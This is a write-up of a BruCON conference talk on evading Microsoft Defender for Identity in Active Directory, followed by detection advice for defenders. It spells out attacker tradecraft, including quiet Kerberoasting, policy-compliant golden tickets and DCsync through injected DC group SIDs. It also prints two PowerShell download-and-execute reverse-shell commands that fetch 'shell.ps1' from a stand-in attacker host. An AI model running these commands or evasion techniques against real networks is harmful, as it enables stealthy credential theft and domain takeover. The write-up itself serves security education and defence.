0wn-premises: Bypassing Microsoft Defender for Identity

Nikhil Mittal (Founder · Altered Security)

BruCON 0x0E · Day 2

Overview

In his BruCON 2022 talk, "0wn-premises: Bypassing Microsoft Defender for Identity," Nikhil Mittal, founder of Altered Security, delves into the intricacies of Microsoft's flagship identity-based threat detection platform. This presentation offers a critical analysis of Microsoft Defender for Identity (MDI), formerly known as Advanced Threat Analytics (ATA) and Azure Advanced Threat Protection (ATP), exploring its capabilities, detection mechanisms, and, more importantly, its inherent blind spots and bypass opportunities. Mittal's work is crucial for both offensive and defensive security practitioners, revealing how sophisticated attackers can navigate an MDI-monitored environment with stealth, while providing defenders with insights into strengthening their identity protection strategies.

Watch on YouTube · Slides

Visual summary for 0wn-premises: Bypassing Microsoft Defender for Identity by Nikhil Mittal
Visual summary for 0wn-premises: Bypassing Microsoft Defender for Identity by Nikhil Mittal

Key moments

  1. 2:30 Understanding Microsoft Defender for Identity (MDI)
  2. 5:30 MDI designed to detect careless attackers
  3. 10:00 Key TTPs to avoid MDI detection
  4. 21:00 Kerberoasting bypass demonstration
  5. 34:00 Remote Code Execution bypass demonstration
  6. 47:00 Diamond and Silver Tickets: MDI's blind spots
  7. 52:00 New attack path: Abusing MDI response actions

0wn-premises: Bypassing Microsoft Defender for Identity

Speakers: Nikhil Mittal, Founder, Altered Security

Conference: BruCON

YouTube: https://www.youtube.com/watch?v=bzLvOu1awKM

Overview

In his BruCON 2022 talk, "0wn-premises: Bypassing Microsoft Defender for Identity," Nikhil Mittal, founder of Altered Security, delves into the intricacies of Microsoft's flagship identity-based threat detection platform. This presentation offers a critical analysis of Microsoft Defender for Identity (MDI), formerly known as Advanced Threat Analytics (ATA) and Azure Advanced Threat Protection (ATP), exploring its capabilities, detection mechanisms, and, more importantly, its inherent blind spots and bypass opportunities. Mittal's work is crucial for both offensive and defensive security practitioners, revealing how sophisticated attackers can navigate an MDI-monitored environment with stealth, while providing defenders with insights into strengthening their identity protection strategies.

The talk addresses a significant challenge in modern enterprise security: the assumption that advanced security products like MDI provide comprehensive protection against all identity-based attacks. Mittal argues that while MDI is designed to detect "careless attackers" and common attack patterns, it can be circumvented by those who understand its underlying detection logic and adopt a more nuanced operational security (opsec) posture. His research highlights specific techniques and modifications to common offensive tools that allow attackers to achieve objectives like reconnaissance, credential compromise, lateral movement, and domain dominance without triggering MDI alerts.

This article dissects Mittal's findings, providing a detailed technical deep dive into the presented bypasses and offering actionable intelligence for organizations relying on MDI for their on-premises Active Directory security. It emphasizes the need for a multi-layered defense strategy and a continuous questioning of security tool efficacy, especially when confronted with determined and knowledgeable adversaries.

Background

▶ Watch: Understanding Microsoft Defender for Identity (MDI) (2:30)

Microsoft Defender for Identity (MDI) is Microsoft's cloud-based security solution designed to help protect enterprise hybrid environments from advanced targeted attacks and insider threats. It evolved from Advanced Threat Analytics (ATA) and Azure Advanced Threat Protection (ATP), inheriting their core philosophy of monitoring Active Directory (AD) traffic and behavior. MDI sensors are typically deployed on Domain Controllers (DCs) and ADFS servers, where they analyze network traffic (LDAP, DNS, Kerberos, SAMR) and event logs to build behavioral profiles for all identities (users, groups, machines).

The system uses machine learning and cloud-based analytics to establish baselines of "normal" activity over approximately a month. Once profiles are established, MDI continuously looks for anomalies—deviations from these learned behaviors—which are then flagged as security alerts. These alerts are categorized according to phases of a typical cyberattack kill chain: Reconnaissance, Compromise Credentials, Lateral Movement, Domain Dominance, and Exfiltration. Historically, MDI (and its predecessors) focused heavily on domain dominance, detecting privilege escalation and persistence techniques. More recently, it has expanded its focus to the reconnaissance phase to stop attackers earlier in the kill chain.

Mittal emphasizes a critical shift in Microsoft's security paradigm, especially concerning Azure: identity is treated as the perimeter. This means that attackers increasingly target user accounts, their credentials, and their associated privileges. Therefore, effective identity protection is paramount. However, MDI, like any security product, has limitations. Mittal stresses that it is designed to catch "careless attackers" who use off-the-shelf tools without understanding their operational footprint. He advocates for a proactive opsec mindset for attackers, advising them to:

  • Assume DCs are monitored: Never approach DCs with a "high-handedness" or assumption of no monitoring.
  • Question tool traffic: Understand how tools interact with DCs, whether they generate unusual traffic patterns (e.g., too many 4624/4625 logons, pointed LDAP queries).
  • Avoid outdated Kerberos encryption: Using RC4 for credential replay is highly detectable, as AES has been standard since Server 2008 (nearly 15 years).
  • Be mindful of LDAP queries: MDI has evolved to detect pointed LDAP queries for specific attributes (e.g., users with resource-based constrained delegation enabled), while requesting all attributes and filtering offline is often less detected.
  • Manage log footprint: Be aware of the logs generated (e.g., 4672 admin logons from unusual machines). Replaying credentials of a user never previously logged onto a machine is a strong detection indicator.
  • Comply with Kerberos policy: Forged tickets must adhere to the target environment's Kerberos policy (e.g., 10-hour ticket lifetime, 7-day renewal). Creating golden tickets for non-existent accounts has been patched (around October 2021) and will trigger detection.
  • Strive for silence: Recognize when a technique is inherently noisy (e.g., requesting 135 TGS tickets at once with Rubeus) and adjust.

These general opsec principles form the foundation for understanding how to bypass MDI's detections, moving beyond simple endpoint opsec to consider identity and network-level visibility.

Key Findings

▶ Watch: Key TTPs to avoid MDI detection (10:00)

Nikhil Mittal's research unveils several critical findings regarding MDI's detection capabilities and its exploitable blind spots, particularly for sophisticated attackers. While MDI excels at detecting common, noisy attacks and careless attacker behavior, it can be bypassed through careful planning and modification of techniques.

The main discoveries and contributions include:

  • MDI's Focus on "Careless Attackers": MDI is effective against attackers who use popular tools and techniques without understanding their underlying network traffic or log footprint. Simple deviations from learned baselines, such as using RC4 encryption or rapid, pointed LDAP queries, are readily detected.
  • Evolving Reconnaissance Detections: MDI has started to detect reconnaissance activities, such as specific LDAP queries for Resource-Based Constrained Delegation (RBCD) or Kerberos pre-authentication disabled accounts. However, these can often be bypassed by modifying the query method (e.g., requesting all attributes and filtering offline).
  • Identified Gaps in Lateral Movement Detection: MDI struggles with reliably detecting certain lateral movement techniques, notably Pass-the-Ticket and the use of Rogue Kerberos Certificates. Surprisingly, it no longer alerts on Overpass-the-Hash using RC4/NTLM hashes, a significant regression from its ATP days.
  • Robust Domain Dominance Detection, with Key Bypasses: MDI is aggressive in detecting domain dominance techniques like remote code execution via PSExec, WMI, WinRM, and DCOM. However, a significant bypass exists: modifying an existing service (rather than creating a new one) goes completely undetected.
  • DCsync Bypass via Impersonation: While DCsync attacks are high-confidence alerts, they can be bypassed by impersonating a Domain Controller using techniques like silver tickets or golden tickets with injected SID history.
  • Golden Ticket Refinements for Evasion: Standard "noisy" golden ticket creation (RC4, non-existent accounts, 10-year validity) is detected. However, crafting policy-compliant golden tickets (AES keys, valid active accounts, correct timestamps) can evade MDI.
  • Completely Undetected Techniques: Several powerful techniques remain entirely off MDI's radar. These include Diamond Tickets, Silver Tickets (even against DCs), changes to delegation configurations (unconstrained, constrained, RBCD), User Account Control (UAC) modifications (like forcing SPN or disabling pre-auth), AdminSDHolder changes, and SSP injection.
  • Abuse of Response Actions: A theoretical but highly plausible attack path involves compromising a Security Administrator in Azure, abusing MDI's response actions to reset passwords of high-privilege on-premises accounts, and escalating to Global Admin via Azure AD Connect credentials.

In summary, Mittal demonstrates that MDI is not a silver bullet. Its effectiveness is highly dependent on the attacker's opsec and understanding of MDI's detection logic. While it catches low-hanging fruit, it fails to detect a wide array of sophisticated, identity-centric attacks that have been known for years.

Technical Deep Dive

▶ Watch: Kerberoasting bypass demonstration (21:00)

Mittal’s talk provides granular technical details on how MDI detects various attack phases and, more importantly, how these detections can be bypassed or why certain techniques remain completely unmonitored.

Reconnaissance Bypasses

MDI has recently expanded its detection capabilities to the reconnaissance phase. Mittal specifically highlights two alerts related to Active Directory attribute enumeration:

  1. Active Directory attributes Recon (Resource-Based Constrained Delegation - RBCD)
  2. Active Directory attributes Recon (Kerberos pre-authentication disabled)

These alerts are triggered when an attacker makes pointed LDAP queries for specific attributes. For example, using Bloodhound or similar tools to query for users with msDS-AllowedToActOnBehalfOfOtherIdentity or UserAccountControl flags set to disable pre-authentication.

Bypass Technique: Instead of making pointed queries, the attacker should request all attributes for an object and then filter the results offline on their foothold machine. MDI's sensor on the DC will only see a general attribute request, which is considered normal behavior, thus avoiding detection. Mittal noted that MDI does not like "pointed LDAP queries" but is "absolutely fine" with requesting all attributes and filtering offline.

Another alert, Net session enumeration, is triggered when net.exe session is run against a Domain Controller. This is a direct communication with the DC.

Bypass Technique: MDI does not detect this if the net session enumeration is performed against a member machine, as the DC is not directly involved in that communication.

For Honey Token activity, MDI allows marking specific users as decoy accounts. Any interaction with these accounts (e.g., credential reuse) triggers an alert.

Bypass Technique: Before attempting to use credentials, attackers should always check account properties like logonCount and badPasswordCount. A low logonCount or a high badPasswordCount (potentially from previous attempts) can indicate a dormant or decoy account. Active accounts typically have high logonCount values.

Compromise Credentials Bypasses

MDI detects certain Kerberoasting and AS-REP Roasting activities.

Suspected Kerberos SPN exposure (Kerberoasting) is detected if an attacker requests multiple Service Tickets (TGS tickets) for users with Service Principal Names (SPNs) in quick succession. Tools like Rubeus, when run with a broad /kerberoast command, will do this by default, causing a rapid burst of 4769 events on the DC.

Bypass Technique: Instead of a rapid, broad request, attackers should:

  1. Enumerate users with SPNs manually (e.g., using Get-ADUser -Filter {ServicePrincipalName -ne $null} -Properties ServicePrincipalName).
  2. Request TGS tickets one at a time for specific users (e.g., Rubeus.exe kerberoast /user:SVCadmin). This appears as normal, staggered activity to MDI.

Mittal explicitly stated that the previous detection for encryption downgrade for Kerberoasting (e.g., using RC4) has been removed from MDI.

Similarly, for AS-REP Roasting, where tickets are requested for accounts with pre-authentication disabled, the same principle applies. Rapid requests for multiple AS-REP roasatable accounts will trigger detection.

Bypass Technique: Enumerate accounts with pre-auth disabled first, then request AS-REP tickets one by one.

Lateral Movement Detections and Gaps

MDI's detection for lateral movement is surprisingly weak in some areas:

  • Pass-the-Ticket (PtT): Mittal reported inconsistent detection. He could not reliably trigger an alert even when extracting a Domain Admin's TGT from a DC and using it from a foothold. In one instance, it was detected when moving between two member servers, but not consistently. This indicates a potential blind spot or unreliability in MDI's PtT detection.
  • Overpass-the-Hash (OPtH): MDI does detect if an attacker uses OPtH for an account that has never logged on from the current foothold machine within the last 30 days. This is a strong, difficult-to-bypass detection.
  • Surprising Gap: Mittal noted that MDI no longer alerts if RC4 (NTLM hash) is used for OPtH, which was a staple detection in previous versions (ATP). The reason for this change is unclear, but it represents a significant downgrade in detection capability.
  • Rogue Kerberos Certificate: Mittal was unable to trigger any detection for the use of rogue Kerberos certificates, even when requesting tickets for Domain Admins and Enterprise Admins from multiple machines. This suggests MDI has no effective detection logic for this technique.

Domain Dominance Bypasses

Domain Dominance is an area where MDI is designed to be highly aggressive, detecting many common remote code execution (RCE) methods:

  • Detected RCE Methods: PSExec, WMI, Remote WMI, WinRM (PowerShell Remoting), and service creation are all detected by MDI. DCOM-based RCE is also detected.
  • RCE Bypass Technique: Modifying an Existing Service: MDI fails to detect when an attacker modifies an existing service (e.g., changing its binary path) rather than creating a new one. Tools like SC.exe (built-in) or the open-source SCshell.exe can be used for this. Mittal demonstrated this bypass in production environments with no detection. The technique involves identifying an existing service with appropriate permissions, modifying its binPath to point to an attacker-controlled payload (e.g., a PowerShell reverse shell), and then starting/restarting that service.

DCsync Attack Bypass: DCsync, where a non-DC requests replication data from a DC, is a high-confidence alert.

Bypass Technique: Impersonating a DC: MDI triggers this alert because a non-DC is sending a replication request. The bypass involves making MDI believe the request originates from a legitimate DC. This can be achieved by:

  1. Using DC machine account credentials: If the attacker has compromised these, they can perform DCsync.
  2. Obtaining the TGT of a DC: Abusing unconstrained delegation is one way to acquire this.
  3. Forging a Golden Ticket with SID History: This is a classic technique. By injecting the SID history of the Domain Controllers and Enterprise Domain Controllers groups into a forged golden ticket, MDI sees the replication request originating from an entity with legitimate DC replication rights and bypasses detection. This has been a known bypass since ATA.
  4. Silver Ticket: Silver tickets, which forge TGS tickets for specific services (like cifs for DCsync), operate at a lower level and do not require interaction with the DC for authentication. MDI (and most identity protection tools) do not inspect the Kerberos message type used by silver tickets, making them an "evergreen bypass" for DCsync and other service abuses.

Golden Ticket Forging Bypass: MDI detects poorly crafted golden tickets.

  • Detected Golden Ticket Issues:
  • Using RC4 keys for krbtgt account (detected since 2016). Always use AES keys.
  • Creating tickets for non-existent accounts (patched around October 2021). This results in a double whammy: invalid ticket + detection. Always use a valid, active account.
  • Time Anomalies: Creating tickets with excessively long lifetimes (e.g., 10 years, default for Mimikatz) or renewal periods that deviate from the Kerberos policy (default 10-hour lifetime, 7-day renewal).
  • Bypass Technique: Craft a policy-compliant golden ticket using:
  1. AES keys of the krbtgt account.
  2. A valid, active domain admin account. (Check logonCount and badPasswordCount attributes to identify active accounts).
  3. Timestamps (TGT Lifetime and TGT Renewal Lifetime) that match the target environment's Kerberos policy.

Undetected Techniques

Mittal highlighted several powerful techniques that MDI completely misses:

  • Diamond Ticket: An evolution of the golden ticket. Instead of forging a new TGT, an attacker takes an existing, valid TGT, decrypts it, injects new SIDs (e.g., SID history), re-encrypts it, and re-injects it. This is more opsec-safe as there's a corresponding TGT request, and timestamps are naturally compliant. MDI currently does not detect this.
  • Silver Ticket: As discussed, silver tickets are highly silent as they don't involve the DC for initial authentication and their message type is not typically inspected by MDI.
  • Delegation Configuration Changes: MDI has no alerts for changes to unconstrained delegation, constrained delegation, or resource-based constrained delegation (RBCD). Attackers can configure these to gain privileges, and MDI remains blind.
  • User Account Control (UAC) Changes: Techniques like forcing an SPN on an account or disabling pre-authentication (e.g., for AS-REP roasting) do not trigger MDI alerts when the configuration change occurs. Ironically, looking for pre-auth disabled accounts is detected.
  • AdminSDHolder Changes: Modifications to the AdminSDHolder object, which protects privileged accounts, go undetected.
  • SSP Injection: Injecting new Security Support Providers (SSPs), even the archaic Mimikatz ones, does not trigger MDI.
  • Adding Replication Rights: While carelessly using replication rights can be detected, simply adding replication rights to a non-DC account is not.

Abuse of Response Actions

Mittal outlined a theoretical, yet "very valid" and "far-fetched but not" attack path leveraging MDI's recently introduced response actions (e.g., disabling a user or resetting their password). This attack path specifically targets hybrid identity environments:

  1. Compromise Security Administrator in Azure: Gain control of a user with the Security Administrator role in Azure AD.
  2. Abuse Defender 365 Portal: The Security Administrator logs into the Defender 365 portal.
  3. Reset Password of On-Premises User: Use MDI's response actions to reset the password of a specific on-premises Active Directory user. This user must have a path to Domain Admin privileges but not be a member of a protected group (i.e., adminCount not set to 1).
  4. Escalate to Domain Admin (On-Prem): Use the newly reset password to escalate privileges on-premises.
  5. Compromise Azure AD Connect: Target the server running Azure AD Connect to extract the credentials of the Directory Service Sync Account.
  6. Reset Global Admin Password (Azure): Use the extracted credentials to reset the password of a Global Administrator in Azure AD, achieving full cloud dominance.

This complex attack chain highlights the interconnectedness of hybrid environments and the potential for seemingly innocuous response actions to be weaponized.

Demo / Proof of Concept

▶ Watch: Diamond and Silver Tickets: MDI's blind spots (47:00)

Nikhil Mittal provided live demonstrations and recorded segments to illustrate his findings and bypass techniques. These demonstrations were crucial in showing how MDI's detections could be circumvented with careful opsec.

  1. Kerberoasting Bypass Demonstration:
  • Detection Trigger: Mittal first showed running Rubeus.exe kerberoast without any specific user targets. This command, by default, rapidly requests TGS tickets for all users with SPNs, triggering MDI's "Suspected Kerberos SPN exposure" alert. The MDI console would show an alert complaining about "four accounts" being targeted, indicating the rapid succession of requests.
  • Bypass Execution: To bypass this, Mittal demonstrated a more methodical approach.
  • He used the Active Directory PowerShell module (Get-ADUser -Filter {ServicePrincipalName -ne $null} -Properties ServicePrincipalName) to enumerate users with SPNs (e.g., SVCadmin).
  • Then, he used Rubeus.exe kerberoast /user:SVCadmin to request a TGS ticket for one specific user at a time. This single, targeted request did not trigger any MDI detection, appearing as normal activity. The key takeaway was to avoid the "battering ram" approach and instead perform enumeration and requests silently, one by one.
  1. Remote Code Execution (RCE) via Service Modification Bypass Demonstration:
  • Setup: The demo started with a listener (e.g., netcat) awaiting a reverse shell. Mittal used Rubeus.exe createnetonly /program:powershell.exe /command:"Start-Process powershell.exe -ArgumentList \"-NoP -NonI -W Hidden -C IEX ((new-object net.webclient).downloadstring('http://attacker_ip/shell.ps1'))\"" to obtain a PowerShell process running with Domain Admin privileges.
  • Bypass Execution: Instead of creating a new service (which MDI detects), Mittal demonstrated using SCshell.exe (an open-source tool) to modify an existing service on the target Domain Controller (e.g., xblauthmanager).
  • The command used was similar to SCshell.exe -target DC01 -service xblauthmanager -binpath "C:\Windows\System32\cmd.exe /c powershell.exe -NoP -NonI -W Hidden -C IEX ((new-object net.webclient).downloadstring('http://attacker_ip/shell.ps1'))" (simplified for clarity, the actual demo used a specific payload).
  • This command changed the binPath of the xblauthmanager service to the attacker's PowerShell reverse shell payload. Upon starting or restarting the service, an immediate connect-back to the listener was observed.
  • No Detection: Mittal emphasized that despite running "noisy commands" like whoami /all from the reverse shell, MDI showed "absolutely nothing" and "didn't care," confirming the bypass for modifying existing services.
  1. DCsync Bypass via Golden Ticket with SID History Demonstration:
  • Bypass Execution: Mittal demonstrated creating a golden ticket using Mimikatz (kerberos::golden) with specific parameters:
  • sid (target domain SID)
  • user (a valid domain admin account, e.g., administrator)
  • krbtgt (NTLM hash of krbtgt)
  • sids (crucially, the SIDs of Domain Controllers and Enterprise Domain Controllers groups were injected, e.g., S-1-5-21-XXX-516,S-1-5-21-XXX-517)
  • ptt (Pass The Ticket to inject into the current session).
  • Once the ticket was injected, he used Mimikatz's lsadump::dcsync command to perform a DCsync attack.
  • No Detection: Because the golden ticket contained the SID history of legitimate DC groups, MDI perceived the replication request as coming from a legitimate Domain Controller and generated "absolutely no detection."
  1. Golden Ticket Forging (Policy-Compliant) Demonstration:
  • Bypass Execution: Mittal showed how to forge a golden ticket that is compliant with the target's Kerberos policy. This involved using:
  • AES keys of the krbtgt account.
  • A valid and active domain admin account.
  • Setting the TGT Lifetime and TGT Renewal Lifetime parameters to match the defaults of the target environment (e.g., 10 hours for lifetime, 7 days for renewal).
  • This carefully crafted golden ticket, when injected and used, also resulted in "no detection," as it did not trigger any of MDI's checks for malformed or suspicious tickets.

These demonstrations visually reinforced the technical arguments, proving that MDI's detection logic can be understood and circumvented by an informed attacker.

Defensive Implications

▶ Watch: New attack path: Abusing MDI response actions (52:00)

Nikhil Mittal's research provides critical insights for defenders, highlighting areas where MDI might offer a false sense of security and where additional defensive measures are imperative.

  1. Do Not Solely Rely on MDI: The most significant implication is that MDI is not a standalone solution for comprehensive identity protection. It is a valuable tool for detecting "careless" attackers and common attack patterns, but it has significant blind spots. Organizations must adopt a layered security approach, combining MDI with other detection mechanisms.
  2. Enhance SIEM Tuning and Logging: Many of MDI's "bypasses" for reconnaissance and credential compromise rely on basic operational security principles that a well-tuned Security Information and Event Management (SIEM) system should detect.
  • Monitor for RC4: Actively look for Kerberos tickets or authentication attempts using RC4 encryption, which is outdated and highly suspicious in modern environments.
  • Analyze LDAP Query Patterns: Implement logging and analysis of LDAP query volumes and types. While MDI might be bypassed by requesting all attributes, a large volume of such requests could still be an anomaly detectable by a SIEM.
  • Audit Logon Events: Pay close attention to Event ID 4624 (successful logon) and 4625 (failed logon), especially for administrative accounts or from unusual source machines. Mittal's point about detecting overpass-the-hash for accounts with no prior login history from a machine is a strong indicator that should be correlated.
  • Kerberos Policy Compliance: Ensure your SIEM can flag Kerberos tickets that deviate from your domain's established policy for lifetime and renewal.
  1. Monitor Service Modifications (Event ID 4697): MDI's failure to detect the modification of existing services for RCE is a critical gap. Defenders must implement robust monitoring for Event ID 4697 (A service was installed in the system) and potentially Event ID 7045 (Service Control Manager), specifically looking for changes to binPath or ImagePath for existing services. Any unauthorized modification to a service's executable path should trigger an immediate high-priority alert.
  2. Strengthen Kerberos Policies and krbtgt Protection:
  • Enforce AES: Ensure your domain actively enforces AES encryption for Kerberos tickets and that the krbtgt account's AES keys are rotated regularly.
  • Protect krbtgt Hash: The security of the krbtgt account's NTLM and AES hashes is paramount, as their compromise enables golden tickets. Implement strict access controls and monitoring around this account.
  1. Audit and Monitor Active Directory Object Changes: MDI's complete blindness to changes in delegation configurations, UAC flags, AdminSDHolder, and replication rights is a severe weakness.
  • Delegation: Regularly audit and monitor changes to msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD), msDS-AllowedToDelegateTo, and UserAccountControl flags related to delegation.
  • UAC: Monitor changes to UserAccountControl flags, especially those related to forcing SPNs or disabling pre-authentication.
  • AdminSDHolder: Implement continuous monitoring for modifications to the AdminSDHolder object and its ACLs.
  • Replication Rights: Audit which accounts have replication rights (e.g., Replicating Directory Changes All permission) and monitor for their abuse.
  1. Review and Secure Hybrid Identity Connectors: The theoretical attack path abusing MDI's response actions and Azure AD Connect highlights the critical importance of securing hybrid identity infrastructure.
  • Principle of Least Privilege: Ensure Security Administrators in Azure AD have only the necessary permissions.
  • Azure AD Connect Server Hardening: Treat the Azure AD Connect server as a Tier 0 asset. Implement stringent security controls, multi-factor authentication for access, and continuous monitoring for any unusual activity.
  • Directory Service Sync Account: Protect the credentials of the Directory Service Sync Account used by Azure AD Connect with the highest priority.
  1. Consider Identity Governance and Administration (IGA): An IGA solution can help manage and audit permissions, track changes to critical AD objects, and ensure that accounts are provisioned and deprovisioned correctly, providing a layer of defense against some of the undetected configuration changes.

In essence, defenders must assume that determined attackers will attempt to bypass MDI. By understanding MDI's limitations and implementing the countermeasures outlined above, organizations can significantly enhance their overall Active Directory security posture.

Key Takeaways

  • MDI is not a silver bullet: It primarily targets "careless attackers" and common attack patterns, leaving sophisticated techniques undetected.
  • Operational Security (Opsec) is paramount: Attackers can bypass MDI by understanding its detection logic, adopting silent techniques, and avoiding noisy, off-the-shelf tool usage.
  • Fundamental AD security hygiene remains crucial: Many MDI bypasses leverage basic security principles like using AES keys, valid accounts, and policy-compliant Kerberos tickets.
  • MDI has significant blind spots: Techniques like Diamond/Silver tickets, delegation configuration changes, UAC modifications, AdminSDHolder changes, and SSP injection are largely undetected.
  • Layered defense is essential: Organizations must integrate MDI with a well-tuned SIEM, EDR, and robust Active Directory auditing to cover MDI's gaps.
  • Hybrid identity attack paths are evolving: MDI's response actions, when combined with a compromised Azure Security Administrator and an insecure Azure AD Connect server, can be weaponized for full domain and cloud dominance.

About the Speaker(s)

Nikhil Mittal is the founder of Altered Security, an organization focused on hands-on enterprise learning in Active Directory and Azure security. He is a recognized expert in breaking into Active Directory and Azure environments (with permission, of course). Mittal is also known for previously maintaining multiple open-source tools under his GitHub handle samratAshok, including Nishan and Deploy-Deception, though he no longer actively maintains them due to the associated stress. He is a frequent and respected speaker at major security conferences, having presented multiple times at Defcon (main stage and villages), Black Hat, and BruCON. BruCON 2022 marked his sixth consecutive year speaking and training at the conference.

Reviews

→ Top-rated talks at BruCON 0x0E

All talks from BruCON 0x0E